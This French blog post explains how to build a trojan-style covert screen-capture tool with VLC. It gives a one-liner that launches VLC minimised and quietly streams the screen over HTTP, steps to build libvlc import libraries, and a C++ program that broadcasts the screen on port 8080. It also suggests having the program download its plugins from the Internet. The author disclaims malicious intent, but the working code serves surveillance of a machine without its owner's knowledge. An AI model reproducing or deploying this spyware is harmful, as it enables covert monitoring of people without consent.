{Trojan} – Fabriquer un cheval de Troie avec VLC

Salut à tous,

 

Bien qu'aujourd'hui les malwares sont le plus souvent des ransomwares, fût un temps où les "hackers" exploitaient la force d'un cheval de Troie.
Je tiens avant toute chose à préciser que cet article n'est pas là pour inciter qui que ce soit à développer des programmes malveillants. Il s'agit plutôt d'une démarche "culturelle" et "ludique" (si vous souhaitez reproduire chez vous, et surtout sur vos appareils)

Tel un pêcheur, il fallait attendre patiemment que la personne infectée par ce type de programme malveillant se connecte sur tel ou tel site, saisisse sa carte bleue ....
Bref, cette époque est révolue car aujourd'hui les menaces sont différentes et beaucoup plus "rapides" et "efficaces" :
Le phishing collecte massivement des données, et lorsqu'il s'agit de faire rapidement de l'argent les pirates usent d’ingénierie sociale pour diffuser des ransomwares.

 

Le cheval de Troie

Plus communément appelé Trojan, ce malware permet généralement de donner le contrôle total d'une machine ou d'un appareil à un Hacker.
Offrant de multiples fonctionnalités telles que :

  • La possibilité de voir l'écran de la victime
  • La possibilité de capture / enregistrer les frappes du clavier
  • Activer la caméra et le microphone
  • Transférer ou récupérer des fichiers
  • Exécuter des commandes sur la machine distante
  • Prendre le contrôle de la souris ou du clavier
  • Etc ....

Bref une sorte de TeamViewer mais malveillant et sans demander l'autorisation de la personne pour prendre la main sur son ordinateur.

 

VLC dans tout ça

 

VLC est un logiciel connu historiquement pour permettre de regarder des vidéos et d'écouter des musiques dans une multitude de formats !
Chose qui à l'époque nécessitait sur d'autres logiciels de lecture audio/vidéo, de faire tout un tas de manipulation comme d'installer les codecs & co !
Bref en 3 clics vous pouviez profiter d'un large éventail de formats audio et vidéo !

Sauf que VLC est bien plus qu'un simple lecteur vidéo !
Il permet également de lire des contenus sur le réseau, et d'en partager !
Ainsi vous avez la possibilité de partager un flux audio et/ou vidéo sur votre réseau pour que d'autres personnes puissent également l'entendre et / ou le voir.

 

Le rapport avec un Cheval de Troie ?

Dans les fonctionnalités offertes par un cheval de Troie, que j'ai pu vous citer, il y a la possibilité de voir en temps réel (ou presque), l'écran de la personne infectée.
VLC offre une fonctionnalité qui permet de partager tout ou une partie de son écran sur le réseau.
N'étant pas reconnu par un antivirus comme une menace, n'importe quel programme peut aisément se servir de VLC activer cette option de partage d'écran sur le réseau !

En ligne de commande ?

Il se peut que vous ne soyez pas développeur, ainsi vous pourrez activer le partage d'écran en ligne de commande.
Il vous faudra pour cela ouvrir l'invite de commande.

  1. {Touche Windows} + R
  2. saisir "cmd" puis valider avec la touche "entrée".
  3. saisir la commande ci-dessous et valider à nouveau par la touche "entrée" :

"%PROGRAMFILES(x86)%\VideoLAN\VLC\vlc" screen:// --qt-start-minimized :screen-fps=25 :quiet :sout=#transcode{vcodec=h264,acodec=mp3,ab=128,channels=2,samplerate=44100}:http{dst=:8090/dyrk.org}

Normalement la capture devrait commencer.
Si vous êtes sur le même réseau que la machine sur laquelle vous avez effectué cette manipulation, vous devriez pouvoir vous y connecter avec VLC via le menu :

  • Media
  • Ouvrir un flux réseau
  • Saisir dans le champs http://<ip de la machine distante>:8090/dyrk.org
  • Lire

Dans une application C ?

Pour le coup c'est un brin plus compliqué, mais lorsque l'on a la manipulation pour le faire, tout va bien ;)
Dans le répertoire d'installation de VLC, vous avez 2 fichiers :

  • libvlc.dll
  • libvlccore.dll

Nous allons transformer ces 2 fichiers en .lib
Tout d'abord, commencez par télécharger et installer "Visual Studio Community 2019" (Ne confondez pas avec Visual Studio Code ;) )

La première étape consiste à générer et formater des fichiers .def
Pour cela, il vous faudra dans "Visual Studio", depuis le menu "outils" : rechercher et cliquer un menu "Console".
Lorsque vous aurez cette fameuse console d'ouverte saisissez :

dumpbin /exports "%PROGRAMFILES(x86)%\VideoLAN\VLC\libvlc.dll" > "%PROGRAMFILES(x86)%\VideoLAN\VLC\libvlc.def"

Faites de même pour libvlccore.dll

dumpbin /exports "%PROGRAMFILES(x86)%\VideoLAN\VLC\libvlccore.dll" > "%PROGRAMFILES(x86)%\VideoLAN\VLC\libvlccore.def"

Si ces premières commandes ne passent pas, essayez de relancer "Visual Studio" en tant qu'administrateur.

Enfin, ouvrez les fameux fichiers ".def" générés, et reformatez les de manière à obtenir quelque chose qui ressemble à ça :

EXPORTS
libvlc_add_intf
libvlc_audio_get_channel
libvlc_audio_get_mute
libvlc_audio_get_track
libvlc_audio_get_track_count
libvlc_audio_get_track_description
libvlc_audio_get_volume
...

Une fois que c'est fait, il y aura 2 ultimes commandes à lancer :

lib /def:"%PROGRAMFILES(x86)%\VideoLAN\VLC\libvlc.def" /out:"%PROGRAMFILES(x86)%\VideoLAN\VLC\libvlc.lib" /machine:x86

Et

lib /def:"%PROGRAMFILES(x86)%\VideoLAN\VLC\libvlccore.def" /out:"%PROGRAMFILES(x86)%\VideoLAN\VLC\libvlccore.lib" /machine:x86

Vous voilà fin prêt !
Vous disposez de 2 fichiers .lib, que vous pourrez ajouter dans la compilation de votre projet.

Personnellement j'utilise CodeBlocks pour développer en C / C++, celui-ci propose un menu "Linking a library" (Ajouter une librairie). où je n'ai plus qu'à sélectionner et ajouter mes fichiers.
Cependant vous avez ce genre d'options dans d'autres IDE.

Pour les puristes qui utilisent directement en mode console "gcc", ils suffit simplement d'utiliser l'option "-l"
(Ex : gcc -l../../../VideoLAN/VLC/libvlc.lib  -l../../../VideoLAN/VLC/libvlccore.lib  ...etc... )

Ultime manipulation:
Il vous faudra récupérer le répertoire "plugins" situé dans le répertoire de VLC.
Sans quoi vous pourrez compiler votre code, mais vous aurez toujours un "Segmentation Fault" ....

Dans le répertoire où sera compilée votre application, pensez donc à mettre :

  • Le répertoire "plugins"
  • Les 2 fichiers "dll" (je dis bien les "dll", les ".lib" sont là pour uniquement pour la compilation)

Je vous les mets ici sinon, mais pas sûr qu'ils durent dans le temps si vous consultez l'article dans 5 ou 6 ans ... : libvlc_libvlccore

Place désormais au Code :

#include <iostream>
#include <vlc/vlc.h>
#include <unistd.h>
#include <csignal>

libvlc_instance_t * vlc;
const char * media_name = "thisisatest";

void 
closeApp(int signum) 
{
  /*
  * On pense à arrêter
  */
  libvlc_vlm_stop_media(vlc, media_name);
  libvlc_vlm_release(vlc);
  printf("Interrupt signal (%d) received.\n", signum);
  exit(signum);
}

int 
main(int argc, char ** argv) 
{
  /*
  *url : 	Chemin de ce que vous voulez diffuser :
  *			Ici il s'agit de l'écran, mais vous pourriez
  *			y mettre le chemin d'un fichier vidéo.	
  */
  const char * url = "screen://";
  const char * sout = "#transcode{vcodec=mp2v,vb=800,acodec=mpga,ab=128,channels=2,samplerate=44100,scodec=none}:http{mux=ts,dst=:8080/}";
  vlc = libvlc_new(0, NULL);
  /*
  * On démarre la capture et le stream
  */
  libvlc_vlm_add_broadcast(vlc, media_name, url, sout, 0, NULL, true, false);
  libvlc_vlm_play_media(vlc, media_name);
  /*
  *	On detecte quand l'application se ferme
  *	Afin d'arrêter proprement notre flux
  */
  signal(SIGINT, closeApp);
  /*
  * On Maintien l'application active
  */
  while (1)
  {
    sleep(1);
  };
  return 0;
}

 

Ne vous restera plus qu'à compiler et hop, vous aurez un magnifique programme pour capturer l'écran des machines qui sont sur votre réseau, chez vous.

Cette démo, Vous permettra de consulter l'écran sur cette adresse : http://<ip de la machine distante>:8080/
La vidéo se coupera bien entendu lorsque l'application sera fermée ;)

Maintenant il ne vous reste plus qu'à l'ajuster en fonction de vos besoins.

Concernant le répertoire "plugins" :
Il s'agit d'un gros répertoire, je vous invite dans votre code à détecter si VLC est "présent", puis si c'est le cas à faire un "lien symbolique" / "raccourcis" ou à le copier directement.
Sinon, il vous ait parfaitement possible avec la librairie curl, de faire en sorte que votre application télécharge une archive du repertoire "plugins" sur Internet, puis la décompresse

 

Et si ça ne fonctionne pas ?

 

Application VLC en 32 ou 64bits ?
Vous aurez remarquez que dans les chemins présent dans cet article il y a PROGRAMFILES(x86), Il s'agit du chemin vers les applications 32bits, si vous disposez d'un VLC en 64bits, vous devez supprimer le (x86), et penser s'il s'agit de la partie "développement en C", à mettre /machine:x64 au lieu de /machine:x86

Codecs manquants ?
Si ce code source ne semble pas faire le job, assurez-vous que votre machine dispose bien des codecs du format dans lesquels vous souhaitez streamer.
Le plus simple, reste d'installer sur celle-ci VLC.

 

Conclusion

 

J'espère que cet article vous aura diverti, et vous aura occupé au moins une bonne heure de votre journée ;)
Il existe d'autres moyens, et d'autres librairies pour capturer l'écran d'un ordinateur distant.
Ainsi, si vous n'êtes pas chargé de mauvaise intention, avec cet article vous pourrez surveiller les machines qui sont chez vous.
J'ai également un petit développement de Keylogger en C++ ... mais l'idée de mes articles n'est pas de fournir des outils de destruction massive. Il s'agit là d'outils qui peuvent s'avérer dangereux, et nuire très gravement s'ils sont entre de mauvaises mains, je ne vous fournirais donc pas un outil prêt à l'emploi.
J'espère cependant que cet article vous aura donné l'envie d'affiner vos connaissances sur ce sujet !

 

Partagez ce contenu

Laisser une réponse

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *